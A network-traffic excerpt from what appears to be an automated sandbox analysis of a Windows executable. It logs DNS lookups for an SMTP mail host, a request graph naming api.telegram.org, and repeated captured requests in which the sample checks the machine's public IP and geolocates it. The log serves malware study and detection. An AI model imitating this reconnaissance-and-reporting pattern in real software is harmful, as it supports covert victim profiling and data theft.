Nov 7, 2024 15:19:57.783660889 CET	1.1.1.1	192.168.2.8	0x4b82	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Nov 7, 2024 15:19:57.783660889 CET	1.1.1.1	192.168.2.8	0x4b82	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49706	193.122.130.0	80	3648	C:\Users\user\Desktop\Lpjrd6Wxad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 15:19:27.681952953 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 7, 2024 15:19:28.980173111 CET	323	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 14:19:28 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 14951bb2aae8a768ad87a398e6c67e3c Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.79</body></html>
Nov 7, 2024 15:19:28.997977018 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 7, 2024 15:19:30.501673937 CET	323	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 14:19:30 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: e28b64e7f1671d7c3b8d0bb63a0bc2f3 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.79</body></html>
Nov 7, 2024 15:19:31.482440948 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 7, 2024 15:19:32.888868093 CET	323	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 14:19:32 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 6f79d232cabdaf2bce5692ba4b109279 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.79</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49709	193.122.130.0	80	3648	C:\Users\user\Desktop\Lpjrd6Wxad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 15:19:33.671489000 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 7, 2024 15:19:35.745354891 CET	323	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 14:19:35 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 80c4bd6076bf82dba0ed6a412450db19 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.79</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49711	193.122.130.0	80	3648	C:\Users\user\Desktop\Lpjrd6Wxad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 15:19:36.548551083 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 7, 2024 15:19:39.220664024 CET	730	IN	HTTP/1.1 502 Bad Gateway Date: Thu, 07 Nov 2024 14:19:39 GMT Content-Type: text/html Content-Length: 547 Connection: keep-alive X-Request-ID: d6b1780790b4a5a283a636adadb84fa6 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 [TRUNCATED] Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center></center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49712	193.122.130.0	80	3648	C:\Users\user\Desktop\Lpjrd6Wxad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 15:19:39.238316059 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 7, 2024 15:19:41.213118076 CET	323	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 14:19:41 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 7af5f2f7e6136f20b640218ba6f3ae87 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.79</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49715	193.122.130.0	80	3648	C:\Users\user\Desktop\Lpjrd6Wxad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 15:19:41.967837095 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 7, 2024 15:19:42.795804977 CET	323	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 14:19:42 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 4dd1ca9ba849523d38cb906858ab54db Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.79</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49719	193.122.130.0	80	3648	C:\Users\user\Desktop\Lpjrd6Wxad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 15:19:43.636042118 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 7, 2024 15:19:45.321227074 CET	323	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 14:19:45 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 2d4a96b68db3526437150fd05b6db4ba Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.79</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49723	193.122.130.0	80	3648	C:\Users\user\Desktop\Lpjrd6Wxad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 15:19:46.133323908 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 7, 2024 15:19:47.962872028 CET	323	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 14:19:47 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 2f6590ec164b857975621b11ec7baa05 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.79</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49725	193.122.130.0	80	3648	C:\Users\user\Desktop\Lpjrd6Wxad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 15:19:48.754596949 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 7, 2024 15:19:50.383461952 CET	323	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 14:19:50 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: a51618bda2d5cf52ab5b470efeaf39e0 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.79</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49707	188.114.96.3	443	3648	C:\Users\user\Desktop\Lpjrd6Wxad.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 14:19:31 UTC	87	OUT	GET /xml/173.254.250.79 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-07 14:19:31 UTC	1215	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 14:19:31 GMT Content-Type: text/xml Content-Length: 359 Connection: close x-amzn-requestid: fdd7f0e5-0b37-4438-9eb6-2788ede66d38 x-amzn-trace-id: Root=1-672c4e16-227e3d4c4feb82610b3369a3;Parent=4d4ebb9aaed861d0;Sampled=0;Lineage=1:fc9e8231:0 x-cache: Miss from cloudfront via: 1.1 e73aa86faa59c17bd459a3caebc0cfc8.cloudfront.net (CloudFront) x-amz-cf-pop: DFW57-P5 x-amz-cf-id: GuXHxM63mz9dt1GgVIHxkWDSADkIeBsHXzGet2rf2GSNv8Oox5KZ-w== Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 32349 Last-Modified: Thu, 07 Nov 2024 05:20:22 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=n8mkmzcchwljDddkew6Pt9jWjbGYzgCEfq%2F2iZ0I4eenMSDpmw%2BCX05FZeW7klTBJsxZtYC1aLzV7W2qAbt6OoM3rk0zWXxjcEHW2rUFfJHovMeCmbVYcJkEOTyozVoI0yFP9qL5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dedf570c9c84677-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1193&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=701&delivery_rate=2329847&cwnd=247&unsent_bytes=0&cid=4bf442abf018daeb&ts=279&x=0"
2024-11-07 14:19:31 UTC	154	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 Data Ascii: <Response><IP>173.254.250.79</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Tex
2024-11-07 14:19:31 UTC	205	IN	Data Raw: 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 31 2e 30 30 36 35 3c 2f 4c 61 74 69 74 75 64 65 3e 0a 09 3c 4c 6f 6e 67 69 74 75 64 65 3e 2d 39 37 2e 38 34 30 36 3c 2f 4c 6f 6e 67 69 74 75 64 65 3e 0a 09 3c 4d 65 74 72 6f 43 6f 64 65 3e 36 32 35 3c 2f 4d 65 74 72 6f 43 6f 64 65 3e 0a 3c 2f 52 65 73 70 6f 6e 73 65 3e 0a Data Ascii: as</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>31.0065</Latitude><Longitude>-97.8406</Longitude><MetroCode>625</MetroCode></Response>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49708	188.114.96.3	443	3648	C:\Users\user\Desktop\Lpjrd6Wxad.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 14:19:33 UTC	63	OUT	GET /xml/173.254.250.79 HTTP/1.1 Host: reallyfreegeoip.org
2024-11-07 14:19:33 UTC	1217	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 14:19:33 GMT Content-Type: text/xml Content-Length: 359 Connection: close x-amzn-requestid: fdd7f0e5-0b37-4438-9eb6-2788ede66d38 x-amzn-trace-id: Root=1-672c4e16-227e3d4c4feb82610b3369a3;Parent=4d4ebb9aaed861d0;Sampled=0;Lineage=1:fc9e8231:0 x-cache: Miss from cloudfront via: 1.1 e73aa86faa59c17bd459a3caebc0cfc8.cloudfront.net (CloudFront) x-amz-cf-pop: DFW57-P5 x-amz-cf-id: GuXHxM63mz9dt1GgVIHxkWDSADkIeBsHXzGet2rf2GSNv8Oox5KZ-w== Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 32351 Last-Modified: Thu, 07 Nov 2024 05:20:22 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vkSyiZeEztHwopDBFQ%2BPyL6z3Dy6yNtoQv0rJOZXdS2xip7SzAhNqcOcKb57%2FoZrCPv5DXoqez2aN8zW19T6BECK8g0tSBATIopfTr3nopq8jQGlDymy%2FFqLVRxFmunBUxDR0rse"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dedf57ecbbf144c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1496&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=2367947&cwnd=247&unsent_bytes=0&cid=e6aa85e4fa4d4cb8&ts=159&x=0"
2024-11-07 14:19:33 UTC	152	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 Data Ascii: <Response><IP>173.254.250.79</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>T
2024-11-07 14:19:33 UTC	207	IN	Data Raw: 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 31 2e 30 30 36 35 3c 2f 4c 61 74 69 74 75 64 65 3e 0a 09 3c 4c 6f 6e 67 69 74 75 64 65 3e 2d 39 37 2e 38 34 30 36 3c 2f 4c 6f 6e 67 69 74 75 64 65 3e 0a 09 3c 4d 65 74 72 6f 43 6f 64 65 3e 36 32 35 3c 2f 4d 65 74 72 6f 43 6f 64 65 3e 0a 3c 2f 52 65 73 70 6f 6e 73 65 3e 0a Data Ascii: exas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>31.0065</Latitude><Longitude>-97.8406</Longitude><MetroCode>625</MetroCode></Response>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49710	188.114.96.3	443	3648	C:\Users\user\Desktop\Lpjrd6Wxad.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 14:19:36 UTC	87	OUT	GET /xml/173.254.250.79 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-07 14:19:36 UTC	1221	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 14:19:36 GMT Content-Type: text/xml Content-Length: 359 Connection: close x-amzn-requestid: fdd7f0e5-0b37-4438-9eb6-2788ede66d38 x-amzn-trace-id: Root=1-672c4e16-227e3d4c4feb82610b3369a3;Parent=4d4ebb9aaed861d0;Sampled=0;Lineage=1:fc9e8231:0 x-cache: Miss from cloudfront via: 1.1 e73aa86faa59c17bd459a3caebc0cfc8.cloudfront.net (CloudFront) x-amz-cf-pop: DFW57-P5 x-amz-cf-id: GuXHxM63mz9dt1GgVIHxkWDSADkIeBsHXzGet2rf2GSNv8Oox5KZ-w== Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 32354 Last-Modified: Thu, 07 Nov 2024 05:20:22 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rGEBUI1QDRcqBGzleCLZqqqODw6J38rYXwGEi1grAQTYhQYPL8LmMfmkUD3ojzPOTBdr%2FOyDz%2BhmP6u2y%2BxIH3a3klVZxGmCxSWNDuNpEPaUCRW%2F1xvNtcD1CDe501ckG10G9%2Fy3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dedf590ca3aa912-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1628&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=1691588&cwnd=159&unsent_bytes=0&cid=5dbf16d5112fa503&ts=157&x=0"
2024-11-07 14:19:36 UTC	148	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 Data Ascii: <Response><IP>173.254.250.79</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionNa
2024-11-07 14:19:36 UTC	211	IN	Data Raw: 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 31 2e 30 30 36 35 3c 2f 4c 61 74 69 74 75 64 65 3e 0a 09 3c 4c 6f 6e 67 69 74 75 64 65 3e 2d 39 37 2e 38 34 30 36 3c 2f 4c 6f 6e 67 69 74 75 64 65 3e 0a 09 3c 4d 65 74 72 6f 43 6f 64 65 3e 36 32 35 3c 2f 4d 65 74 72 6f 43 6f 64 65 3e 0a 3c 2f 52 65 73 70 6f 6e 73 65 3e 0a Data Ascii: me>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>31.0065</Latitude><Longitude>-97.8406</Longitude><MetroCode>625</MetroCode></Response>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49713	188.114.96.3	443	3648	C:\Users\user\Desktop\Lpjrd6Wxad.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 14:19:41 UTC	87	OUT	GET /xml/173.254.250.79 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-07 14:19:41 UTC	1227	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 14:19:41 GMT Content-Type: text/xml Content-Length: 359 Connection: close x-amzn-requestid: fdd7f0e5-0b37-4438-9eb6-2788ede66d38 x-amzn-trace-id: Root=1-672c4e16-227e3d4c4feb82610b3369a3;Parent=4d4ebb9aaed861d0;Sampled=0;Lineage=1:fc9e8231:0 x-cache: Miss from cloudfront via: 1.1 e73aa86faa59c17bd459a3caebc0cfc8.cloudfront.net (CloudFront) x-amz-cf-pop: DFW57-P5 x-amz-cf-id: GuXHxM63mz9dt1GgVIHxkWDSADkIeBsHXzGet2rf2GSNv8Oox5KZ-w== Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 32359 Last-Modified: Thu, 07 Nov 2024 05:20:22 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8pIehSivwplrjZeW%2B3kas7myW%2FBjIlZnYInOMbDRj6LGlSfRzu4%2B%2FJrZSMsbVcbYo%2Fx8QfJ4%2FyJY6PxHJmvjETtWV6xsR8vauAMxPM8Xl4HhjU81s4qgs%2BxERKQ9p%2FTtHtO5fFwC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dedf5b2b893e7bf-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1820&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=1607103&cwnd=251&unsent_bytes=0&cid=f9016722dd1224ea&ts=148&x=0"
